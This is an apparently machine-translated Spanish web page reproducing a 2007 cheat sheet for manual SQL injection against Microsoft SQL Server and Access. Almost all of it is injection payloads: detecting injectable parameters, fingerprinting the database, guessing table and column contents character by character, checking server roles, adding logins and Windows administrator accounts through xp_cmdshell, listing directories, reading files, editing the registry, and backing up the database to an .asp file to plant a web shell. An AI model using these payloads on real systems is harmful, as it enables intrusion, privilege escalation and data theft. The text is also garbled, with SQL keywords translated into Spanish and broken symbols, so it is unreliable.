Red de conocimiento informático - Material del sitio web - Cómo inyectar manualmente el problema

Cómo inyectar manualmente el problema

Puntos clave de la inyección manual de SQL 2007-04-25 08:381 Determine si hay inyección; y 1 = 1; y 1 = 22. Determine previamente si es mssql y usergt; condición de consulta] y ''='4.buscar sin filtrar parámetros 'y [condición de consulta] y ' 25'='5.Determinar el sistema de base de datos

;y (seleccionar recuento (*) de sysobjects) gt;0 mssql

;y (seleccione recuento (*) de msysobjects)gt;0 acceso6. Adivine la base de datos y (seleccione Conteo (*) de [nombre de la base de datos])gt;07. campo; y (seleccione Count(nombre de campo) del nombre de la base de datos)gt; 08. Adivine la longitud del registro en el campo y (seleccione el 1 len superior (nombre del campo) del nombre de la base de datos)gt; valor del campo (acceso)

y (seleccione el 1 superior asc(mid(nombre del campo, 1, 1)) del nombre de la base de datos)gt 0 (2) adivine el valor ascii del campo ( mssql)

; y (seleccione el 1 superior unicode(subcadena(nombre de campo, 1, 1)) del nombre de la base de datos)gt; 1=(seleccione IS_SRVROLEMEMBER('sysadmin')); --

; y 1=(seleccione IS_SRVROLEMEMBER(' serveradmin')); IS_SRVROLEMEMBER('setupadmin')); --

p>

;y 1=(seleccione IS_SRVROLEMEMBER('securityadmin'));--

;y 1=(seleccione IS_SRVROLEMEMBER( 'diskadmin'));--

;y 1=(seleccione IS_SRVROLEMEMBER('bulkadmin'));--

;y 1=(seleccione IS_ MEMBER('db_owner' ));--

11 .Agregar mssql y cuentas del sistema

;exec master.dbo.sp_addlogin nombre de usuario;--;exec master.dbo.sp_password nulo, nombre de usuario, contraseña; --;exec master.dbo.sp_addsrvrolemember nombre de usuario del administrador del sistema; --;exec master.dbo.xp_cmdshell 'contraseña de usuario de red

/ estaciones de trabajo:

*/times: all/passwordchg: sí /passwordreq: sí /active: sí /add';--;exec master.dbo.xp_cmdshell 'net usuario nombre de usuario contraseña /add';--;exec master.dbo.xp_cmdshell 'net nombre de usuario de administradores de grupo local /add';-- 12. (1) Recorra el directorio; cree la tabla dirs(paths varchar(100), id int)

; inserte dirs exec master.dbo.xp_dirtree 'c:

;y (seleccione las 1 rutas principales de los directorios)gt;0

;y (seleccione las 1 rutas principales de los directorios donde las rutas no están en ('rutas obtenidas en el paso anterior')) gt ;)(2) Recorrer el directorio

; Crear tabla temp(id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255));--< / p>

;insert temp exec master.dbo.xp_dirtree 'c:\';--Obtiene la estructura de árbol de directorios de todos los subdirectorios

;insert into temp(id) exec master .dbo .xp_cmdshell 'type c:\web\index.asp' - Ver el contenido del archivo 13.mssql procedimiento almacenado clave raíz del registro xp_regenumvalues, subclave

; 'SOFTWARE\ Microsoft \Windows\CurrentVersion\Run' Devuelve todos los valores clave como múltiples conjuntos de registros xp_regread clave raíz, subclave, nombre de clave

; exec xp_regread

'HKEY_LOCAL_MACHINE', ' SOFTWARE\ exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestValueName', 'reg_sz', 'hello' Escribe en el registro xp_regdeletevalue clave raíz regdeletevalue clave raíz, subclave, nombre de valor ejecución xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\ Microsoft\Windows\CurrentVersion', 'TestValueName' Eliminar un valor >

usar modelo

p>

crear tabla cmd(imagen str);

insertar valores en cmd(str) ('');

volver el modelo de base de datos al disco='c: \l .asp'; 15.mssql función incorporada

; y (select @@version)gt; 0 obtiene el número de versión de Windows

; dbo' determina si el usuario de conexión actual del sistema es sa

; y (select user_name())gt 0 Extrae el modelo de base de datos de respaldo actual a disk='g:\wwwtest\l.asp';

.